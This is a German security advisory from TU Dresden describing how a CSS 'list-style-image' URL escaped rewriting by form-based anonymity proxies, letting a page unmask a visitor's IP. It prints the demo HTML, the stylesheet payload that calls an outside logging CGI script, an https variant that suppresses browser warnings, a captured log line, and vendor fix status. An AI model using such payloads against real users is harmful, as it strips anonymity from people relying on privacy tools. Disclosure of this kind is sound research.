Original-URL: http://web.inf.tu-dresden.de/~hf2/anon/aproxies/
TU Dresden / International Computer Science Institute, Berkeley
E-Mail: federrath@inf.tu-dresden.de
18. Februar 2000, aktualisiert: 06. Mai 2000 and 03. Dezember 2001
Es wird ein Angriff beschrieben, der auf einer Schwäche des Parsing-Alogrithmus existiernder formular-basierter Anonymitätsproxies beruht. Der Heise-Newsticker berichtete u.a. darüber.
Alles fing damit an, daß ich selber einen formular-basierten Anonymitätsproxy programmierte (siehe http://www.inf.tu-dresden.de/~hf2/anon/a/) und feststellen mußte, daß eine Menge zu filtern ist. Man übersieht leicht etwas. So ging es wohl auch Anonymizer.com, Rewebber.com und Anonymouse. Diese Dienste waren bzw. sind nicht sicher gegen folgenden Angriff.
Ein sicherer Anonymitätsproxy (kurz: A-Proxy) schützt den Client vor Beobachtung durch den Webserver. In dessen Log-Files tauchen nur die Zugriffe des Proxies auf, während die IP-Adresse des Clients vor dem Server verborgen bleibt.
Ziel des hier beschriebenen Angriffs ist es, die IP-Adresse des Client-Rechners herauszubekommen.
Folgender Angriff basiert auf einer Schwäche des Parsing-Algorithmus, mit dem die A-Proxies html-Dokumente bzw. die in StyleSheet-Dateien enthaltenen URLs modifiziert, um z.B. nachzuladende Bilder ebenfalls über den A-Proxy und nicht direkt nachzuladen.
Der Angriff funktioniert nicht mit der aktuellen Version von Netscape Communicator, da er in der aktuellen Version die entsprechende StyleSheet-Angabe noch nicht interpretiert. Der Angriff wurde mit Microsoft Internet Explorer 4.5 erfolgreich durchgeführt.
Angenommen, es soll eine Webseite folgenden Inhaltes über einen A-Proxy aufgerufen werden, d.h. der Surfer tippt die entsprechende URL (hier: http://www.icsi.berkeley.edu/~hannes/atest/csstest2.html) in das Formularfeld des A-Proxys ein:
<html>
<head>
<title>css test 2</title>
<link rel="stylesheet" type="text/css" href="style.css" title="css">
</head>
<body bgcolor="#FFFFFF">
<h1>css test 2</h1>
This is a list:
<ul>
<li> Item 1
<li> Item 2
<li> Item 3
</ul>
<p>
End.
</BODY>
</HTML>
Der A-Proxy lädt das o.a. html-Dokument und analysiert es nach eingebetteten Links. Der A-Proxy versieht nun die eigebetteten Links mit einem Prefix, so daß die Links nicht direkt, sondern über den A-Proxy geladen werden.
Beispiel: Anonymizer ersetzt in dem o.a. html-Dokument die Zeile
<link rel="stylesheet" type="text/css" href="style.css" title="css">
durch
<link rel="stylesheet" type="text/css" href="http://anon.free.anonymizer.com/http://www.icsi.berkeley.edu/~hannes/atest/style.css" title="css">
Der Browser versucht nun, die StyleSheet-Angaben über den A-Proxy zu laden.
Die StyleSheet-Datei style.css hat folgenden Inhalt:
ul { list-style-image:url(dash.gif); }
h1 { color:#00ff00; }
Die zweite Zeile bedeutet, daß Text innerhalb von <h1> und </h1> grün gedruckt werden soll. Die erste Zeile enthält die Anweisung, die zur Enttarnung des Benutzers führt. Sie bedeutet eigentlich nur, daß bei Listen, die mit dem <ul>-Tag gebildet werden, die Listen-Items anstelle des Bullets eine vom Benutzer definierte vorangestellte Grafik (hier: dash.gif) bekommen. Netscape Communicator interpretiert diese Angabe noch nicht. Deshalb funktioniert der Angriff auch noch nicht mit ihm.
Die Grafik wird erst geladen, wenn wirklich eine <ul>-Liste im html-Dokument vorkommt.
Der Fehler der A-Proxies ist, daß die Adresse der Grafik nicht ersetzt wird (bzw. zum Ladezeitpunkt nicht mehr ersetzt werden kann), da die StyleSheet-Datei wahrscheinlich nicht oder nicht vollständig geparst wird.
Um den Angriff sichtbarer zu machen, habe ich ein cgi-Skript geschrieben, das eine Grafik an den Browser zurückgibt und die Environment-Variablen REMOTE_HOST, REMOTE_ADDR, HTTP_USER_AGENT, HTTP_REFERER auswertet, die dem Request mitgegeben wurden. Das Ergebnis wird mir per E-Mail zugeschickt.
Die StyleSheet-Datei style.css hat in der Demonstration dann folgenden Inhalt:
ul { list-style-image:url(http://ikt.inf.tu-dresden.de/~feder/cgi-bin/img.cgi); }
h1 { color:#00ff00; }
Wird die o.g. URL aufgerufen, dann müßte das cgi-Skript eigentlich vom A-Proxy aufgerufen worden sein, aber nicht von dem Rechner mit meiner IP-Adresse (128.32.201.29). Tatsächlich wird aber das "eingebettete Bild" http://ikt.inf.tu-dresden.de/~feder/cgi-bin/img.cgi direkt vom Browser aufgerufen, wie das Logging beweist:
FROM HOST: (128.32.201.29) BROWSER: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt) REFERER: http://anon.free.anonymizer.com/http://www.icsi.berkeley.edu/~hannes/atest/csstest2.html
Damit ist der Benutzer enttarnt!
Die Tatsache, daß der Angriff derzeit mit Internet Explorer funktioniert, aber mit Netscape Communicator nicht, bedeutet nicht, daß der Netscape Browser sicherer wäre. Netscape Communicator wird mit sehr hoher Wahrscheinlichkeit die entsprechenden StyleSheet-Angaben ebenfalls interpretieren. Zumindest funktionierte er bereits mit der Alpha-Version (Milestone 13) von Mozilla (Seamonkey, siehe http://www.mozilla.org). Der Fehler liegt eindeutig in der Implementierung der A-Proxies.
Der Angriff funktioniert auch mit den SSL-Varianten der A-Proxies, wo die Verbindung zwischen Client und A-Proxy mit SSL (https://...) gesichert ist. Hier wird der Benutzer vom Internet Explorer darauf aufmerksam gemacht, daß unsichere Daten nachgeladen werden sollen. Nur wenn der Benutzer bestätigt, daß der die unsicheren Daten nachgeladen haben möchte, wird seine Identität enttarnt.
Der Angreifer kann aber sogar diese Meldung unterdrücken, indem er in style.cssanstelle der Zeile
ul { list-style-image:url(http://ikt.inf.tu-dresden.de/~feder/cgi-bin/img.cgi); }
lediglich
ul { list-style-image:url(https://ikt.inf.tu-dresden.de/~feder/cgi-bin/img.cgi); }
notiert (http://... wird durch https://... ersetzt).
Ich habe die mir bekannten Systeme getestet und komme zu folgenden Resultaten:
| System | Resultat |
| http://www.anonymizer.com | Unsicher gegen den Angriff! (06. Mai 2000: Sicherheitslücke beseitigt, sicher!) |
| http://aixs.net/aixs/ | Unsicher gegen den Angriff! |
| http://www.rewebber.com | Sicher. Fix am 18.03.2000 |
| http://ikt.inf.tu-dresden.de/~feder/cgi-bin/a.cgi | Sicher gegen den Angriff. (03. Dezember 2001: Dieser Service ist nicht mehr verfügbar.) |
Alle formular-basierten A-Proxies, auch die derzeit sicheren, besitzen den strukturellen Nachteil, daß sie nur URLs bzw. eingebettete Links erkennen können, die heute definiert bzw. standardisiert sind. Mit jeder Erweiterung der html- oder StyleSheet-Sprache könnten neue Befehle hinzukommen, die nicht berücksichtigt werden und zur Beobachtbarkeit der Benutzer führen.
Ein weiteres ernsthaftes Problem mancher A-Proxies ist die Tatsache, daß JavaScript aktiviert sein muß, damit der Dienst genutzt werden kann. In den Empfehlungen zur sicheren Benutzung des Internet findet man jedoch häufig den völlig richtigen Hinweis, daß JavaScript möglichst deaktiviert sein sollte, um in der Vergangenheit immer wieder aufgetretene Sicherheitsschwächen von JavaScript überhaupt nicht erst ausnutzen zu können.
Der entscheidende Nachteil aller Lösungen ist jedoch, daß der Schutz der Privatsphäre erst auf einem fremden Rechner (hier: Janus, Anonymizer, Anon Proxy) beginnt und nicht schon im PC des Benutzers. Die Betreiber des Anonymitätsdienstes können bei diesen Lösungen ihre Benutzer hervorragend beobachten. Dies bedeutet nicht, daß sie dies wirklich tun. In den meisten Fällen ist dies sogar gesetzlich verboten. Bekanntlich genügen aber gesetzliche Regelungen allein nicht, um Menschen zu schützen.
Stärkere Systeme zum Schutz der Unbeobachtbarkeit und Anonymität der Benutzer verwenden ein verteiltes System, in dem selbst die Betreiber des Anonymitätsdienstes nicht mehr in der Lage sind, ihre Benutzer zu beobachten.
Im Rahmen des von der Deutschen Forschungsgemeinschaft geförderten Schwerpunktprogrammes "Sicherheit" entwickeln wir an der TU Dresden ein solches Anonymitätssystem, das seine Benutzer auch vor dem Betreiber schützt.
Zusammen mit dem Landesbeauftragten für den Datenschutz Schleswig-Holstein soll das System in einem praktisch relevanten Testfeld für anonym nutzbare Beratungsdienstleistungen im Internet erprobt und implementiert werden.
Im Gegensatz zu den einfachen hier beschriebenen A-Proxies soll unser System mehrseitige Sicherheit unterstützen, damit auch die Benutzer vor dem Betreiber geschützt sind.
Weitere Informationen:
* * *